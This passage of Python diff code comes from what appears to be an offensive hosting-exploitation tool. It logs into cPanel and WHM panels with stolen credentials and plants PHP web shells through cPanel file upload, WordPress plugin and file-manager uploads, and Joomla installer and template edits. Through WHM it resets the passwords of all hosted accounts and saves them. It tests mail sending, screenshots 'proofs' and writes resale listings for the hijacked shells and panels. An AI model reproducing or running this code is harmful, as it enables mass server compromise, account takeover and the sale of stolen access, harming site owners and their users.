backdoor.replace('http://', 'https://') + if('http://' in shell): shell = shell.replace('http://', 'https://') + domain = domain_Fox(backdoor) + safebrowsing = requestG_Fox('https://transparencyreport.google.com/transparencyreport/api/v3/safebrowsing/status?site={}'.format(domain), 1, headers1) + if (safebrowsing is False): print('\n {}[!] Error, Google blocked you! You have to change your IP by VPN\n'.format(fr)); return + alert_Fox = safebrowsing.split(',') + if ('2' in str(alert_Fox[1])): print(' {}[-] Phishing.'.format(fr)); return + testname = 'test-{}.php'.format(random_Fox(3)) + ziprname = 'unZIPpeR{}.php'.format(random_Fox(3)) + Test_path = shellPath_Fox(backdoor, testname, 1) + UNZIPper_path = shellPath_Fox(backdoor, ziprname, 1) + filedata = {'action': 'upload'} + fileup_Test = {'file': (testname, file_get_contents_Fox('Files/{}.txt'.format(test)))} + fileup_ZIPper = {'file': (ziprname, file_get_contents_Fox('Files/uz.txt'))} + try: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), files=fileup_Test, data=filedata, headers=headers2, timeout=45)) + except: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), files=fileup_Test, data=filedata, headers=headers2, timeout=60)) + if('' in upFile): + print (' {}[+] Upload is Working.'.format(fg)) + try: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_ZIPper, headers=headers2, timeout=45)) + except: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_ZIPper, headers=headers2, timeout=60)) + try: + options_Fox = webdriver.ChromeOptions() + options_Fox.add_experimental_option('excludeSwitches', ['enable-logging']) + driver_Fox = webdriver.Chrome(options=options_Fox) + except: print('\n [!] Error, You have to Donwload [ChromeDriver], Read how => https://textbin.net/raw/hqlkimif7g \n'); return + driver_Fox.execute_script("window.open('{}', 'fox1');".format('https://generator.email')) + driver_Fox.switch_to.window("fox1") + time.sleep(3) + html_Fox = str(driver_Fox.execute_script("return document.getElementsByTagName('html')[0].innerHTML").encode("utf-8")) + mailname = re.findall(re.compile('(.*)

'), html_Fox)[0] + orderID = '{} - {}'.format(domain_Fox(Test_path), str(random.randint(1, 100000) * 987)) + driver_Fox.execute_script("window.open('{}', 'fox2');".format(Test_path)) + driver_Fox.switch_to.window("fox2") + time.sleep(3) + driver_Fox.find_element(By.NAME, 'email').send_keys(mailname) + time.sleep(1.5) + driver_Fox.find_element(By.NAME, 'orderid').send_keys(orderID) + time.sleep(1.5) + driver_Fox.find_element(By.XPATH, '//input[3]').click() + time.sleep(1.5) + driver_Fox.switch_to.window("fox1") + time.sleep(7) + html_Fox = driver_Fox.execute_script("return document.getElementsByTagName('html')[0].innerHTML") + start = timer() + while ((str(orderID) not in str(html_Fox.encode("utf-8"))) and ((timer() - start) < 38)): + time.sleep(5) + html_Fox = driver_Fox.execute_script("return document.getElementsByTagName('html')[0].innerHTML") + if (str(orderID) in str(html_Fox.encode("utf-8"))): + print (' {}[+] Sending mail is Working.'.format(fg)) + namepng = '{}.png'.format(random_Fox(15)) + driver_Fox.set_window_size(1400, 1000) + driver_Fox.get_screenshot_as_file('screenshots/{}'.format(namepng)) + proofS = imgurproof(namepng) + if (proofS is False): + from gyazo import Api + proofS = gyazoproof(namepng) + driver_Fox.execute_script("window.open('{}', 'fox3');".format(shell)) + driver_Fox.switch_to.window("fox3") + time.sleep(3) + namepng = '{}.png'.format(random_Fox(15)) + driver_Fox.get_screenshot_as_file('screenshots/{}'.format(namepng)) + proofW = imgurproof(namepng) + if (proofW is False): + from gyazo import Api + proofW = gyazoproof(namepng) + open('Results/Reports_of_Shells.txt', 'a').write('Sir, I will give you a fresh Shell as a [Replacement] with full proofs.\n\nFresh Shell => {}\n\nProof for not phishing and open fine => {}\nProof for send results => {}\nYou can test => {}\nYou can use unzipper for help you => {}\n\nThank you <3\n\n\n'.format(shell, proofW, proofS, Test_path, UNZIPper_path)); success1 = 1 + else: print(' {}[-] Sending mail isn\'t Working.'.format(fr)) + driver_Fox.quit() + else: print(' {}[-] Upload Failed.'.format(fr)) + except: + print (' {}[-] Shell isn\'t working OR Not-{}Https{}.'.format(fr, fg, fr)) + try: driver_Fox.quit() + except: pass + +def solving_cP_Reports_A(ip, user, password, idcp, cookies, domain, home, test): + try: + global success1 + delete_files('screenshots', 'png') + from selenium import webdriver + from imgurpython import ImgurClient + newpath = r'screenshots' + if (not os.path.exists(newpath)): os.makedirs(newpath) + safebrowsing = requestG_Fox('https://transparencyreport.google.com/transparencyreport/api/v3/safebrowsing/status?site={}'.format(domain), 1, headers1) + if (safebrowsing is False): print('\n {}[!] Error, Google blocked you! You have to change your IP by VPN\n'.format(fr)); return + alert_Fox = safebrowsing.split(',') + if ('2' in str(alert_Fox[1])): print(' {}[-] Phishing.'.format(fr)); return + req_Fox = requests.session() + postlogin_Fox = {'user': user, 'pass': password, 'login_submit': 'Log in'} + try: login2_Fox = content_Fox(req_Fox.post('https://{}:2083/login/?login_only=1'.format(domain), data=postlogin_Fox, headers=headers1, timeout=10)) + except: login2_Fox = content_Fox(req_Fox.post('https://{}:2083/login/?login_only=1'.format(domain), data=postlogin_Fox, headers=headers1, timeout=15)) + if ('security_token' not in login2_Fox): print(' {}[-] Domain isn\'t Working.'.format(fr)); return + print (' {}[+] Domain is Working.'.format(fg)) + filename = '{}.php'.format(random_Fox(8)) + testname = 'test-{}.php'.format(random_Fox(3)) + ziprname = 'unZIPpeR{}.php'.format(random_Fox(3)) + filedata_Fox = {'dir': '{}{}/public_html'.format(home, user), 'get_disk_info': '1', 'overwrite': '0'} + fileup_Fox = {'file-0': (filename, shell_Fox)} + try: upload_Fox = cookies.post('{}/{}/execute/Fileman/upload_files'.format(ip, idcp), data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=45) + except: upload_Fox = cookies.post('{}/{}/execute/Fileman/upload_files'.format(ip, idcp), data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=60) + backdoor_path = 'https://{}/{}'.format(domain, filename) + time.sleep(5) + try: check_b = content_Fox(requests.get(backdoor_path, headers=headers1, timeout=10)) + except: check_b = content_Fox(requests.get(backdoor_path, headers=headers1, timeout=15)) + if ('KEY:' not in check_b and 'MD5:' not in check_b): print(' {}[-] Upload Failed.'.format(fr)); return + Test_path = shellPath_Fox(backdoor_path, testname, 1) + UNZIPper_path = shellPath_Fox(backdoor_path, ziprname, 1) + filedata = {'action': 'upload'} + fileup_Test = {'file': (testname, file_get_contents_Fox('Files/{}.txt'.format(test)))} + fileup_ZIPper = {'file': (ziprname, file_get_contents_Fox('Files/uz.txt'))} + backdoor_path = check(backdoor_path) + try: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor_path, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_Test, headers=headers2, timeout=45)) + except: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor_path, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_Test, headers=headers2, timeout=60)) + if('' in upFile): + print (' {}[+] Upload is Working.'.format(fg)) + try: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor_path, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_ZIPper, headers=headers2, timeout=45)) + except: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor_path, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_ZIPper, headers=headers2, timeout=60)) + try: + options_Fox = webdriver.ChromeOptions() + options_Fox.add_experimental_option('excludeSwitches', ['enable-logging']) + driver_Fox = webdriver.Chrome(options=options_Fox) + except: print('\n [!] Error, You have to Donwload [ChromeDriver], Read how => https://textbin.net/raw/hqlkimif7g \n'); return + driver_Fox.execute_script("window.open('{}', 'fox1');".format('https://generator.email')) + driver_Fox.switch_to.window("fox1") + time.sleep(3) + html_Fox = str(driver_Fox.execute_script("return document.getElementsByTagName('html')[0].innerHTML").encode("utf-8")) + mailname = re.findall(re.compile('(.*)

'), html_Fox)[0] + orderID = '{} - {}'.format(domain_Fox(Test_path), str(random.randint(1, 100000) * 987)) + driver_Fox.execute_script("window.open('{}', 'fox2');".format(Test_path)) + driver_Fox.switch_to.window("fox2") + time.sleep(3) + driver_Fox.find_element(By.NAME, 'email').send_keys(mailname) + time.sleep(1.5) + driver_Fox.find_element(By.NAME, 'orderid').send_keys(orderID) + time.sleep(1.5) + driver_Fox.find_element(By.XPATH, '//input[3]').click() + time.sleep(1.5) + driver_Fox.switch_to.window("fox1") + time.sleep(7) + html_Fox = driver_Fox.execute_script("return document.getElementsByTagName('html')[0].innerHTML") + start = timer() + while ((str(orderID) not in str(html_Fox.encode("utf-8"))) and ((timer() - start) < 38)): + time.sleep(5) + html_Fox = driver_Fox.execute_script("return document.getElementsByTagName('html')[0].innerHTML") + if (str(orderID) in str(html_Fox.encode("utf-8"))): + print (' {}[+] Sending mail is Working.'.format(fg)) + namepng = '{}.png'.format(random_Fox(15)) + driver_Fox.set_window_size(1400, 1000) + driver_Fox.get_screenshot_as_file('screenshots/{}'.format(namepng)) + proofS = imgurproof(namepng) + if (proofS is False): + from gyazo import Api + proofS = gyazoproof(namepng) + driver_Fox.execute_script("window.open('{}', 'fox3');".format('https://{}:2083/login/'.format(domain))) + driver_Fox.switch_to.window("fox3") + time.sleep(4) + driver_Fox.find_element(By.NAME, 'user').send_keys(user) + time.sleep(1.5) + driver_Fox.find_element(By.NAME, 'pass').send_keys(password) + time.sleep(1.5) + driver_Fox.find_element(By.NAME, 'login').click() + time.sleep(7) + namepng = '{}.png'.format(random_Fox(15)) + driver_Fox.get_screenshot_as_file('screenshots/{}'.format(namepng)) + proofW = imgurproof(namepng) + if (proofW is False): + from gyazo import Api + proofW = gyazoproof(namepng) + open('Results/Reports_of_cPanels.txt', 'a').write('Sir, I will give you a fresh cPanel as a [Replacement] with full proofs.\n\nFresh cPanel: https://{}:2083\nUSERNAME: {}\nPASSWORD: {}\n\nProof for not phishing and open fine => {}\nProof for send results => {}\nYou can test => {}\nYou can use unzipper for help you => {}\n\nThank you <3\n\n\n'.format(domain, user, password, proofW, proofS, Test_path, UNZIPper_path)); success1 = 1 + else: print(' {}[-] Sending mail isn\'t Working.'.format(fr)) + driver_Fox.quit() + else: print(' {}[-] Upload Failed.'.format(fr)) + except: + print(' {}[-] Domain isn\'t working OR Not-{}Https{}.'.format(fr, fg, fr)) + try: driver_Fox.quit() + except: pass + +def WHM_exploiter(backdoor, cpanelRs): + try: + sys.stdout.write(' {}[*] Getting cPanels from WHM '.format(fc)); waiting() + for rs in cpanelRs: + rs = rs.split('|') + username = rs[1] + password = rs[2] + try: + ip = 'https://{}:2087'.format(domain_Fox(backdoor)) + ipHost = socket.gethostbyname(domain_Fox(backdoor)) + c = WHM_PWD_CHer_P(ip, username, password, ipHost) + if (c is False): print (' {} - {}{}{} [Failed]'.format(fr, fw, username, fr)) + elif (c == 0): print (' {} - {}{}{} [{}{} USERS{}]'.format(fr, fw, username, fr, fg, c, fr)) + else: print (' {}[+] Saved in {}Results/WHM/{}-{}.txt'.format(fg, fr, ipHost, username)) + except: print (' {} - {}{}{} [Failed]'.format(fr, fw, username, fr)) + except: + print(' {}[-] Failed.'.format(fr)) + +def WHM_AH_exploiter(backdoor): + global backdoor3 + try: + sys.stdout.write(' {}[*] Getting cPanels from WHM '.format(fc)); waiting() + hashs = requestG_Fox('{}?action={}'.format(backdoor, backdoor3), 1, headers1, 30) + if (re.findall(re.compile('(.*):(.*)'), hashs)): hashs = re.findall(re.compile('(.*):(.*)'), hashs) + for h in hashs: + username = h[0] + try: + accesshash = h[1] + ip = 'https://{}:2087'.format(domain_Fox(backdoor)) + ipHost = socket.gethostbyname(domain_Fox(backdoor)) + c = WHM_PWD_CHer_A(ip, username, accesshash, ipHost) + if (c is False): print (' {} - {}{}{} [Failed]'.format(fr, fw, username, fr)) + elif (c == 0): print (' {} - {}{}{} [{}{} USERS{}]'.format(fr, fw, username, fr, fg, c, fr)) + else: print (' {}[+] Saved in {}Results/WHM/{}-{}.txt'.format(fg, fr, ipHost, username)) + except: print (' {} - {}{}{} [Failed]'.format(fr, fw, username, fr)) + except: + print(' {}[-] Failed.'.format(fr)) + +def WHM_PWD_CHer_A(ip, username, accesshash, ipHost): + try: + counter = 0 + newpath = r'Results/WHM' + if (not os.path.exists(newpath)): os.makedirs(newpath) + login = WHM_Login_A(ip, username, accesshash) + if (login is False): return False + headers_WHM = login + if (':2087' in ip): + protocol = 'https://' + port = ':2083' + ipcp = ip.replace('2087', '2083') + elif (':2086' in ip): + protocol = 'http://' + port = ':2082' + ipcp = ip.replace('2086', '2082') + else: + protocol = 'https://' + port = ':2083' + ipcp = '{}:2083'.format(ip) + try: getUser = content_Fox(requests.get('{}/json-api/listaccts?viewall=1'.format(ip), headers=headers_WHM, verify=False, timeout=30)) + except: getUser = content_Fox(requests.get('{}/json-api/listaccts?viewall=1'.format(ip), headers=headers_WHM, verify=False, timeout=45)) + try: + listaccts = json.loads(getUser) + usersdata = listaccts['acct'] + except: return counter + for userdata in usersdata: + try: + user = userdata.get('user') + domain = userdata.get('domain') + if (str(username) != str(user)): + newPasswd = passwrod_creator() + postchangeP = {'api.version': '1', 'password': newPasswd, 'user': user} + try: changePR = requests.post('{}/json-api/passwd'.format(ip), headers=headers_WHM, data=postchangeP, verify=False, timeout=30) + except: changePR = requests.post('{}/json-api/passwd'.format(ip), headers=headers_WHM, data=postchangeP, verify=False, timeout=45) + if (changePR): + counter = counter + 1 + sys.stdout.write('\r {} - {}{}{} [{}{} USERS{}]'.format(fr, fw, username, fr, fg, counter, fr)) + sys.stdout.flush() + open('Results/WHM/{}-{}.txt'.format(ipHost, username), 'a').write('{}{}{}|{}|{}\n'.format(protocol, domain, port, user, newPasswd)) + except: + pass + print ('') + return counter + except: + return False + +def WHM_PWD_CHer_P(ip, username, password, ipHost) : + try: + counter = 0 + newpath = r'Results/WHM' + if (not os.path.exists(newpath)): os.makedirs(newpath) + login = WHM_Login_P(ip, username, password) + if (login is False): return False + cookies = login[0] + idcp = login[1] + if (':2087' in ip): + protocol = 'https://' + port = ':2083' + ipcp = ip.replace('2087', '2083') + elif (':2086' in ip): + protocol = 'http://' + port = ':2082' + ipcp = ip.replace('2086', '2082') + else: + protocol = 'https://' + port = ':2083' + ipcp = '{}:2083'.format(ip) + try: getUser = content_Fox(cookies.get('{}/{}/json-api/listaccts?viewall=1'.format(ip, idcp), verify=False, timeout=30)) + except: getUser = content_Fox(cookies.get('{}/{}/json-api/listaccts?viewall=1'.format(ip, idcp), verify=False, timeout=45)) + try: + listaccts = json.loads(getUser) + usersdata = listaccts['acct'] + except: return counter + for userdata in usersdata: + try: + user = userdata.get('user') + domain = userdata.get('domain') + if (str(username) != str(user)): + newPasswd = passwrod_creator() + postchangeP = {'api.version': '1', 'password': newPasswd, 'user': user} + try: changePR = cookies.post('{}/{}/json-api/passwd'.format(ip, idcp), data=postchangeP, verify=False, timeout=30) + except: changePR = cookies.post('{}/{}/json-api/passwd'.format(ip, idcp), data=postchangeP, verify=False, timeout=45) + if (changePR): + counter = counter + 1 + sys.stdout.write('\r {} - {}{}{} [{}{} USERS{}]'.format(fr, fw, username, fr, fg, counter, fr)) + sys.stdout.flush() + open('Results/WHM/{}-{}.txt'.format(ipHost, username), 'a').write('{}{}{}|{}|{}\n'.format(protocol, domain, port, user, newPasswd)) + except: + pass + print ('') + return counter + except: + return False + +def WHM_Login_A(ip, username, accesshash): + try: + if ('\n' in accesshash): accesshash = accesshash.replace('\n', '') + headers_WHM = {'Authorization': 'WHM {}:{}'.format(username, accesshash)} + try: login = content_Fox(requests.get('{}/json-api/'.format(ip), headers=headers_WHM, verify=False, timeout=10)) + except: login = content_Fox(requests.get('{}/json-api/'.format(ip), headers=headers_WHM, verify=False, timeout=15)) + if ('Unknown App Requested' in login): return headers_WHM + else: return False + except: + return False + +def WHM_Login_P(ip, username, password): + try: + req = requests.session() + postlogin = {'user': username, 'pass': password, 'login_submit': 'Log in', 'goto_uri': '/'} + try: login = content_Fox(req.post('{}/login/?login_only=1'.format(ip), data=postlogin, verify=False, timeout=10)) + except: login = content_Fox(req.post('{}/login/?login_only=1'.format(ip), data=postlogin, verify=False, timeout=15)) + if ('security_token' not in login): return False + loginJson = json.loads(login) + idcp = loginJson["security_token"][1:] + return req, idcp + except: + return False + +def cPanel_Login(ip, username, password): + try: + reqFox = requests.session() + postlogin_Fox = {'user': username, 'pass': password, 'login_submit': 'Log in'} + try: loginCP_Fox = content_Fox(reqFox.post('{}/login/'.format(ip), verify=False, data=postlogin_Fox, headers=headers1, timeout=10)) + except: loginCP_Fox = content_Fox(reqFox.post('{}/login/'.format(ip), verify=False, data=postlogin_Fox, headers=headers1, timeout=15)) + if ('filemanager' in loginCP_Fox or '/home' in loginCP_Fox): + open('Results/Successfully_logged_cPanels.log', 'a').write('{}|{}|{}\n'.format(ip, username, password)) + if (re.findall(re.compile('PAGE.securityToken.*=.*"(.*)/(.*)";'), loginCP_Fox)): idcp_Fox = re.findall(re.compile('PAGE.securityToken.*=.*"(.*)/(.*)";'), loginCP_Fox)[0][1] + elif (re.findall(re.compile('MASTER.securityToken.*=.*"(.*)/(.*)";'), loginCP_Fox)): idcp_Fox = re.findall(re.compile('MASTER.securityToken.*=.*"(.*)/(.*)";'), loginCP_Fox)[0][1] + elif (re.findall(re.compile('href="/cpsess(.*)/3rdparty'), loginCP_Fox)): idcp_Fox = 'cpsess{}'.format( re.findall(re.compile('href="/cpsess(.*)/3rdparty'), loginCP_Fox)[0]) + elif (re.findall(re.compile('href="/cpsess(.*)/frontend/'), loginCP_Fox)): idcp_Fox = 'cpsess{}'.format(re.findall(re.compile('href="/cpsess(.*)/frontend'), loginCP_Fox)[0]) + elif (re.findall(re.compile('href="/cpsess(.*)/xferwhm'), loginCP_Fox)): idcp_Fox = 'cpsess{}'.format(re.findall(re.compile('href="/cpsess(.*)/xferwhm'), loginCP_Fox)[0]) + else: + reqFox = requests.session() + try: loginCP_Fox2 = content_Fox(reqFox.post('{}/login/?login_only=1'.format(ip), verify=False, data=postlogin_Fox, headers=headers1, timeout=10)) + except: loginCP_Fox2 = content_Fox(reqFox.post('{}/login/?login_only=1'.format(ip), verify=False, data=postlogin_Fox, headers=headers1, timeout=15)) + loginJson = json.loads(loginCP_Fox2) + idcp_Fox = loginJson["security_token"][1:] + if (re.findall(re.compile('PAGE.domain.*=.*"(.*)";'), loginCP_Fox)): domain_Fox = re.findall(re.compile('PAGE.domain.*=.*"(.*)";'), loginCP_Fox)[0] + elif (re.findall(re.compile(''), loginCP_Fox)): domain_Fox = re.findall(re.compile(''), loginCP_Fox)[0] + elif (re.findall(re.compile('(.*)'), loginCP_Fox)): domain_Fox = re.findall(re.compile('(.*)'), loginCP_Fox)[0] + elif (re.findall(re.compile('(.*)'), loginCP_Fox)): domain_Fox = re.findall(re.compile('(.*)'), loginCP_Fox)[0] + if (re.findall(re.compile('/home(.*){}'.format(username)), loginCP_Fox)): home = '/home{}'.format(re.findall(re.compile('/home(.*){}'.format(username)), loginCP_Fox)[0]) + else: home = '/home/' + return reqFox, idcp_Fox, domain_Fox, home + else: return False + except: + return False + +def file_UPloader_cP(ip, username, cookies, idcp, domain, home): + try: + filename = '{}.php'.format(random_Fox(8)) + filedata_Fox = {'dir': '{}{}/public_html'.format(home, username), 'get_disk_info': '1', 'overwrite': '0'} + fileup_Fox = {'file-0': (filename, shell_Fox)} + try: upload_Fox = cookies.post('{}/{}/execute/Fileman/upload_files'.format(ip, idcp), verify=False, data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=120) + except: upload_Fox = cookies.post('{}/{}/execute/Fileman/upload_files'.format(ip, idcp), verify=False, data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=150) + time.sleep(3) + try: + shell_path = 'https://{}/{}'.format(domain, filename) + check = content_Fox(requests.get(shell_path, headers=headers1, timeout=15)) + except: + shell_path = 'http://{}/{}'.format(domain, filename) + check = content_Fox(requests.get(shell_path, headers=headers1, verify=False, timeout=15)) + if ('KEY:' in check or 'MD5:' in check): return shell_path + else: return False + except: + return False + +def cPanel(cP_data, up=0): + try: + if (int(cP_data.count('|')) != 2): print(' {}[-] The list must be https://domain.com:2083|username|password'.format(fr)); return False + cp = cP_data.split('|') + ip = cp[0] + username = cp[1] + password = cp[2] + print (' [*] cPanel: {}'.format(ip)) + print (' [*] Username: {}'.format(username)) + print (' [*] Password: {}'.format(password)) + login_Fox = cPanel_Login(ip, username, password) + if (login_Fox is False): print(' {}[-] Login Failed.'.format(fr)); return False + open('Results/Login_Successful_cPanels.txt', 'a').write('{}\n'.format(cP_data)) + print (' {}[+] Login successful.'.format(fg)) + if (int(up) == 1): + shell_path = file_UPloader_cP(ip, username, login_Fox[0], login_Fox[1], login_Fox[2], login_Fox[3]) + if (shell_path is False): print(" {}[-] Failed upload.".format(fr)); return False + else: return shell_path + else: + return login_Fox[0], login_Fox[1], login_Fox[2], login_Fox[3] + except: + print(' {}[-] Failed.'.format(fr)); return False + +def randomPluginWP_Fox(url, cookies): + try: + foldername = random_Fox(7) + try:plugin_install_php = content_Fox(cookies.get('{}/wp-admin/plugin-install.php?tab=upload'.format(url), headers=headers1, timeout=15)) + except: plugin_install_php = content_Fox(cookies.get('{}/wp-admin/plugin-install.php?tab=upload'.format(url), headers=headers1, verify=False, timeout=10)) + if (not re.findall(re.compile('id="_wpnonce" name="_wpnonce" value="(.*)"'), plugin_install_php)): return 'F' + ID_wp = re.findall(re.compile('id="_wpnonce" name="_wpnonce" value="(.*)"'), plugin_install_php)[0] + if ('"' in ID_wp): ID_wp = ID_wp.split('"')[0] + filedata_Fox = {'_wpnonce': ID_wp, '_wp_http_referer': '/wp-admin/plugin-install.php?tab=upload', 'install-plugin-submit': 'Install Now'} + fileup_Fox = {'pluginzip': ('{}.zip'.format(foldername), open('Files/plugin.zip', 'rb'), 'multipart/form-data')} + try: upload = cookies.post('{}/wp-admin/update.php?action=upload-plugin'.format(url), data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=60) + except: upload = cookies.post('{}/wp-admin/update.php?action=upload-plugin'.format(url), data=filedata_Fox, files=fileup_Fox, headers=headers1, verify=False, timeout=60) + shellname = '{}/wp-content/plugins/{}/index.php'.format(url, foldername) + check = requestG_Fox(shellname, 1, headers1) + if ('KEY:' in check or 'MD5:' in check): return shellname + return 'F' + except: + return 'F' + +def wp_file_manager_Fox(domain, cookies) : + try : + filename = '{}.php'.format(random_Fox(8)) + shell = file_get_contents_Fox('Files/bk.txt') + try: getID = content_Fox(cookies.get('{}/wp-admin/plugin-install.php?s=File+Manager&tab=search&type=term'.format(domain), verify=False, headers=headers1, timeout=15)) + except: getID = content_Fox(cookies.get('{}/wp-admin/plugin-install.php?s=File+Manager&tab=search&type=term'.format(domain), verify=False, headers=headers1, timeout=10)) + if ('admin.php?page=wp_file_manager' in getID) : + try: getID = content_Fox(cookies.get('{}/wp-admin/admin.php?page=wp_file_manager#elf_l1_Lw'.format(domain), verify=False, headers=headers1, timeout=15)) + except: getID = content_Fox(cookies.get('{}/wp-admin/admin.php?page=wp_file_manager#elf_l1_Lw'.format(domain), verify=False, headers=headers1, timeout=10)) + if (re.findall(re.compile('admin-ajax.php","nonce":"(.*)","lang"'), getID)) : + ID_wp = re.findall(re.compile('admin-ajax.php","nonce":"(.*)","lang"'), getID)[0] + if ('"' in ID_wp): ID_wp = ID_wp.split('"')[0] + fileup_Fox = {'upload[]': (filename, shell, 'multipart/form-data')} + filedata_Fox = {'_wpnonce': ID_wp, 'action': 'mk_file_folder_manager', 'cmd': 'upload', 'target': 'l1_Lw'} + try : up_Fox = cookies.post('{}/wp-admin/admin-ajax.php'.format(domain), data=filedata_Fox, files=fileup_Fox, verify=False, headers=headers1, timeout=60) + except : up_Fox = cookies.post('{}/wp-admin/admin-ajax.php'.format(domain), data=filedata_Fox, files=fileup_Fox, verify=False, headers=headers1, timeout=45) + check_UP = requestG_Fox('{}/{}'.format(domain, filename), 1, headers1) + if ('KEY:' in check_UP or 'MD5:' in check_UP) : return'{}/{}'.format(domain, filename) + elif ((re.findall(re.compile('plugins.php\?_wpnonce=(.*)&action=activate&plugin=wp-file-manager'), getID) or re.findall(re.compile('file_folder_manager.php&_wpnonce=(.*)" target="_parent">(.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) '), plugin_install_Fox)): + directory_Fox = '{}tmp'.format(re.findall(re.compile('value="(.*)tmp".*/>'), plugin_install_Fox)[0]) + rhash_Fox = re.findall(re.compile('type="hidden" name="(.*)" value="1"'), plugin_install_Fox)[0] + filedata_Fox = {'install_directory': directory_Fox, 'install_url': '', 'type': '', 'installtype': 'upload', 'task': 'install.install', rhash_Fox: '1', 'return': ',{}'.format(rhash_Fox)} + fileup_Fox = {'install_package': ('mod_ariimageslidersa.zip', open('Files/mod_ariimageslidersa.zip', 'rb'), 'multipart/form-data')} + try: up_Fox = cookies.post('{}/administrator/index.php?option=com_installer&view=install'.format(domain), verify=False, data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=45) + except: up_Fox = cookies.post('{}/administrator/index.php?option=com_installer&view=install'.format(domain), verify=False, data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=60) + check_plugin_shell = requestG_Fox('{}/modules/mod_ariimageslidersa/mod_ariimageslidersa.php'.format(domain), 1, headers1) + if ('KEY:' in check_plugin_shell or 'MD5:' in check_plugin_shell): return '{}/modules/mod_ariimageslidersa/mod_ariimageslidersa.php'.format(domain) + return 'F' + except: + return 'F' + +def mod_simplefileuploadJ30v1_Fox(domain, cookies) : + try: + try: plugin_install_Fox = content_Fox(cookies.get('{}/administrator/index.php?option=com_installer'.format(domain), verify=False, headers=headers1, timeout=15)) + except: plugin_install_Fox = content_Fox(cookies.get('{}/administrator/index.php?option=com_installer'.format(domain), verify=False, headers=headers1, timeout=10)) + if (re.findall(re.compile('value="(.*)tmp".*/>'), plugin_install_Fox)): + directory_Fox = '{}tmp'.format(re.findall(re.compile('value="(.*)tmp".*/>'), plugin_install_Fox)[0]) + rhash_Fox = re.findall(re.compile('type="hidden" name="(.*)" value="1"'), plugin_install_Fox)[0] + filedata_Fox = {'install_directory': directory_Fox, 'install_url': '', 'type': '', 'installtype': 'upload', 'task': 'install.install', rhash_Fox: '1', 'return': ',{}'.format(rhash_Fox)} + fileup_Fox = {'install_package': ('mod_simplefileuploadJ30v1.3.5.zip', open('Files/mod_simplefileuploadJ30v1.3.5.zip', 'rb'), 'multipart/form-data')} + try: up_Fox = cookies.post('{}/administrator/index.php?option=com_installer&view=install'.format(domain), verify=False, data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=90) + except: up_Fox = cookies.post('{}/administrator/index.php?option=com_installer&view=install'.format(domain), verify=False, data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=60) + check_plugin_shell = requestG_Fox('{}/modules/mod_simplefileuploadv1.3/elements/wcg9LbOHD14.php'.format(domain), 1, headers1) + if ('KEY:' in check_plugin_shell or 'MD5:' in check_plugin_shell): return '{}/modules/mod_simplefileuploadv1.3/elements/wcg9LbOHD14.php'.format(domain) + return 'F' + except: + return 'F' + +def com_templates_Fox(domain, cookies) : + shell = file_get_contents_Fox('Files/bk.txt') + try: + try: beez3 = content_Fox(cookies.get('{}/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA='.format(domain), verify=False, headers=headers1, timeout=15)) + except: beez3 = content_Fox(cookies.get('{}/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA='.format(domain), verify=False, headers=headers1, timeout=10)) + if ('jsstrings.php' in beez3 and re.findall(re.compile('type="hidden" name="(.*)" value="1"'), beez3)): + rhash_Fox = re.findall(re.compile('type="hidden" name="(.*)" value="1"'), beez3)[0] + edit_file_Fox = {'jform[source]': shell, 'task': 'template.apply', rhash_Fox: '1', 'jform[extension_id]': '503', 'jform[filename]': '/jsstrings.php'} + try: edit_Fox = cookies.post('{}/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA='.format(domain), data=edit_file_Fox, verify=False, headers=headers1, timeout=60) + except: edit_Fox = cookies.post('{}/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA='.format(domain), data=edit_file_Fox, verify=False, headers=headers1, timeout=45) + check_UP = requestG_Fox('{}/templates/beez3/jsstrings.php'.format(domain), 1, headers1) + if ('KEY:' in check_UP or 'MD5:' in check_UP): return '{}/templates/beez3/jsstrings.php'.format(domain) + else: + try: hathor = content_Fox(cookies.get('{}/administrator/index.php?option=com_templates&view=template&id=504&file=L2Vycm9yLnBocA=='.format(domain), verify=False, headers=headers1, timeout=15)) + except: hathor = content_Fox(cookies.get('{}/administrator/index.php?option=com_templates&view=template&id=504&file=L2Vycm9yLnBocA=='.format(domain), verify=False, headers=headers1, timeout=10)) + if ('error.php' in hathor and re.findall(re.compile('type="hidden" name="(.*)" value="1"'), hathor)): + rhash_Fox = re.findall(re.compile('type="hidden" name="(.*)" value="1"'), hathor)[0] + edit_file_Fox = {'jform[source]': shell, 'task': 'template.apply', rhash_Fox: '1', 'jform[extension_id]': '504', 'jform[filename]': '/error.php'} + try: edit_Fox = cookies.post('{}/administrator/index.php?option=com_templates&view=template&id=504&file=L2Vycm9yLnBocA=='.format(domain), data=edit_file_Fox, verify=False, headers=headers1, timeout=60) + except: edit_Fox = 